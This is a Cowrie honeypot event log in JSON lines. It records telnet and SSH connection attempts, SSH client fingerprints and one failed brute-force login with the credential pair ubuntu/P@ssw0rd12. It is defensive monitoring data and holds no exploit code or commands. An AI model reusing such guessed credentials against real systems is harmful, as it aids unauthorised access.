{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfcf1cad60d","protocol":"telnet","message":"New connection: 5.196.58.99:47490 (10.17.0.5:23) [session: 2dfcf1cad60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:35.951084Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47512,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f34a2aebaae","protocol":"telnet","message":"New connection: 5.196.58.99:47512 (10.17.0.5:23) [session: 8f34a2aebaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:36.302092Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"476e6d4c5231","protocol":"telnet","message":"New connection: 5.196.58.99:47532 (10.17.0.5:23) [session: 476e6d4c5231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:36.360271Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47544,"dst_ip":"10.17.0.5","dst_port":23,"session":"3adfe41fa249","protocol":"telnet","message":"New connection: 5.196.58.99:47544 (10.17.0.5:23) [session: 3adfe41fa249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:36.488501Z"}
{"eventid":"cowrie.session.closed","duration":31.460421085357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:36.496267Z","src_ip":"5.196.58.99","session":"521b46fc745e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.272606372833252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:37.165122Z","src_ip":"5.196.58.99","session":"06e6bfea44b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47558,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b7135b26046","protocol":"telnet","message":"New connection: 5.196.58.99:47558 (10.17.0.5:23) [session: 3b7135b26046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:37.578958Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47566,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2f4dca95ad","protocol":"telnet","message":"New connection: 5.196.58.99:47566 (10.17.0.5:23) [session: 0c2f4dca95ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:37.632918Z"}
{"eventid":"cowrie.session.closed","duration":30.507599353790283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:38.160300Z","src_ip":"5.196.58.99","session":"15aefea988bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99253273010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:38.165639Z","src_ip":"5.196.58.99","session":"807fcab997fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284643411636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:38.359374Z","src_ip":"5.196.58.99","session":"b87a671b116f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47522,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ac4f4b40f9","protocol":"telnet","message":"New connection: 5.196.58.99:47522 (10.17.0.5:23) [session: 57ac4f4b40f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:38.603922Z"}
{"eventid":"cowrie.session.closed","duration":31.415499210357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:39.427467Z","src_ip":"5.196.58.99","session":"0600ee2eceb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97468066215515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:39.600247Z","src_ip":"5.196.58.99","session":"2ae1be9950ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228839874267578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:39.619264Z","src_ip":"5.196.58.99","session":"2dc8e85ee1cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47576,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a6369421d9","protocol":"telnet","message":"New connection: 5.196.58.99:47576 (10.17.0.5:23) [session: c5a6369421d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:39.640054Z"}
{"eventid":"cowrie.session.closed","duration":31.128412008285522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:40.088021Z","src_ip":"5.196.58.99","session":"324d19d04cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"88d9bd4cfe22","protocol":"telnet","message":"New connection: 5.196.58.99:47596 (10.17.0.5:23) [session: 88d9bd4cfe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:40.098073Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f6978405ce","protocol":"telnet","message":"New connection: 5.196.58.99:47606 (10.17.0.5:23) [session: f0f6978405ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:40.282526Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"0290144e73cc","protocol":"telnet","message":"New connection: 5.196.58.99:47610 (10.17.0.5:23) [session: 0290144e73cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:40.386615Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61552,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dcaf6eeba34","protocol":"ssh","message":"New connection: 109.91.4.177:61552 (10.17.0.5:22) [session: 3dcaf6eeba34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:41.461818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:41.466196Z","src_ip":"109.91.4.177","session":"3dcaf6eeba34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:41.580979Z","src_ip":"109.91.4.177","session":"3dcaf6eeba34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.883190631866455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.187895Z","src_ip":"5.196.58.99","session":"cc99b66be9b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47626,"dst_ip":"10.17.0.5","dst_port":23,"session":"2361677f1b44","protocol":"telnet","message":"New connection: 5.196.58.99:47626 (10.17.0.5:23) [session: 2361677f1b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.335419Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd12","message":"login attempt [ubuntu/P@ssw0rd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.406427Z","src_ip":"109.91.4.177","session":"3dcaf6eeba34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.160247087478638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.554268Z","src_ip":"5.196.58.99","session":"b1b3d4494e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19170641899109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.770365Z","src_ip":"5.196.58.99","session":"938391545382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56952,"dst_ip":"159.203.135.109","dst_port":23,"session":"47fc306e4d5f","protocol":"telnet","message":"New connection: 174.138.46.234:56952 (159.203.135.109:23) [session: 47fc306e4d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.792583Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47584,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a0c11e799a","protocol":"telnet","message":"New connection: 5.196.58.99:47584 (10.17.0.5:23) [session: 30a0c11e799a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.892044Z"}
{"eventid":"cowrie.session.closed","duration":31.08452320098877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:42.930842Z","src_ip":"5.196.58.99","session":"a28ad544216c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055548429489136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:43.079129Z","src_ip":"5.196.58.99","session":"ff336b696b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:43.518150Z","src_ip":"109.91.4.177","session":"3dcaf6eeba34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.882542848587036,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:43.626003Z","src_ip":"20.123.41.163","session":"7cace9fc9fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54086,"dst_ip":"10.17.0.5","dst_port":23,"session":"961e51c1589e","protocol":"telnet","message":"New connection: 5.196.58.99:54086 (10.17.0.5:23) [session: 961e51c1589e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:43.819695Z"}
{"eventid":"cowrie.session.closed","duration":31.106759786605835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:44.164071Z","src_ip":"5.196.58.99","session":"536f50f00722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94755530357361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:44.304712Z","src_ip":"5.196.58.99","session":"fad151ba28bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"987248a197e5","protocol":"telnet","message":"New connection: 174.138.46.234:57256 (159.203.135.109:23) [session: 987248a197e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:44.775802Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d66fccbe8a","protocol":"telnet","message":"New connection: 174.138.46.234:57712 (159.203.135.109:23) [session: 52d66fccbe8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:45.231672Z"}
{"eventid":"cowrie.session.closed","duration":31.09290862083435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:45.301394Z","src_ip":"5.196.58.99","session":"d87a3718e16d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54108,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c986f9283a","protocol":"telnet","message":"New connection: 5.196.58.99:54108 (10.17.0.5:23) [session: 35c986f9283a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:45.352974Z"}
{"eventid":"cowrie.session.closed","duration":30.938523769378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:45.592598Z","src_ip":"5.196.58.99","session":"60ef3f4f8249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617634534835815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:45.675349Z","src_ip":"5.196.58.99","session":"9db0c3ced990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09790563583374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:46.089990Z","src_ip":"5.196.58.99","session":"13495b4d1d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54094,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1e557ae5a2","protocol":"telnet","message":"New connection: 5.196.58.99:54094 (10.17.0.5:23) [session: 1e1e557ae5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:46.353223Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58138,"dst_ip":"159.203.135.109","dst_port":23,"session":"39b5b2ed582b","protocol":"telnet","message":"New connection: 174.138.46.234:58138 (159.203.135.109:23) [session: 39b5b2ed582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:46.538666Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54130,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ddb2bd8f2fb","protocol":"telnet","message":"New connection: 5.196.58.99:54130 (10.17.0.5:23) [session: 9ddb2bd8f2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:46.546614Z"}
{"eventid":"cowrie.session.closed","duration":31.713005542755127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:46.799704Z","src_ip":"5.196.58.99","session":"f96201d7f284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54152,"dst_ip":"10.17.0.5","dst_port":23,"session":"b180a1e68307","protocol":"telnet","message":"New connection: 5.196.58.99:54152 (10.17.0.5:23) [session: b180a1e68307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:47.038662Z"}
{"eventid":"cowrie.session.closed","duration":31.108421325683594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:47.080574Z","src_ip":"5.196.58.99","session":"61da7263e78c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54138,"dst_ip":"10.17.0.5","dst_port":23,"session":"9791ee5cf1e1","protocol":"telnet","message":"New connection: 5.196.58.99:54138 (10.17.0.5:23) [session: 9791ee5cf1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:47.851681Z"}
{"eventid":"cowrie.session.closed","duration":30.9648118019104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:48.236475Z","src_ip":"5.196.58.99","session":"8a8440883778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77911925315857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:48.344618Z","src_ip":"5.196.58.99","session":"19239b457367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54158,"dst_ip":"10.17.0.5","dst_port":23,"session":"171cb0357f84","protocol":"telnet","message":"New connection: 5.196.58.99:54158 (10.17.0.5:23) [session: 171cb0357f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:48.472724Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.162.150.72","src_port":29112,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f3b3b6c74ad","protocol":"telnet","message":"New connection: 122.162.150.72:29112 (159.203.135.109:23) [session: 2f3b3b6c74ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:48.487342Z"}
{"eventid":"cowrie.session.closed","duration":30.464332818984985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.143615Z","src_ip":"5.196.58.99","session":"fe880961a36e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578062295913696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.167563Z","src_ip":"5.196.58.99","session":"0a342f46e768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3c4c96d4762","protocol":"telnet","message":"New connection: 5.196.58.99:54116 (10.17.0.5:23) [session: c3c4c96d4762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.580308Z"}
{"eventid":"cowrie.session.closed","duration":6.855548620223999,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.648002Z","src_ip":"174.138.46.234","session":"47fc306e4d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.987928867340088,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.763577Z","src_ip":"174.138.46.234","session":"987248a197e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27047824859619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.813370Z","src_ip":"5.196.58.99","session":"8b41d3376c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54164,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80307ab0511","protocol":"telnet","message":"New connection: 5.196.58.99:54164 (10.17.0.5:23) [session: f80307ab0511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:49.844719Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54176,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c5e95843e6b","protocol":"telnet","message":"New connection: 5.196.58.99:54176 (10.17.0.5:23) [session: 3c5e95843e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:50.434446Z"}
{"eventid":"cowrie.session.closed","duration":31.593997478485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:50.655103Z","src_ip":"5.196.58.99","session":"ff8ddbdb0192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02803349494934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:50.952318Z","src_ip":"5.196.58.99","session":"60ac4826b06c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54192,"dst_ip":"10.17.0.5","dst_port":23,"session":"095ef1a0816a","protocol":"telnet","message":"New connection: 5.196.58.99:54192 (10.17.0.5:23) [session: 095ef1a0816a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:50.968261Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54172,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76aa57b89dc","protocol":"telnet","message":"New connection: 5.196.58.99:54172 (10.17.0.5:23) [session: f76aa57b89dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:51.052681Z"}
{"eventid":"cowrie.session.closed","duration":5.854947566986084,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:51.086502Z","src_ip":"174.138.46.234","session":"52d66fccbe8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.120389223098755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.044099Z","src_ip":"5.196.58.99","session":"08aba6fd3377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54196,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a507c424a05","protocol":"telnet","message":"New connection: 5.196.58.99:54196 (10.17.0.5:23) [session: 5a507c424a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.143139Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":48552,"dst_ip":"10.17.0.5","dst_port":22,"session":"00aba3f6470b","protocol":"ssh","message":"New connection: 103.248.120.6:48552 (10.17.0.5:22) [session: 00aba3f6470b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.183671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.193238Z","src_ip":"103.248.120.6","session":"00aba3f6470b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.409558Z","src_ip":"103.248.120.6","session":"00aba3f6470b","protocol":"ssh"}
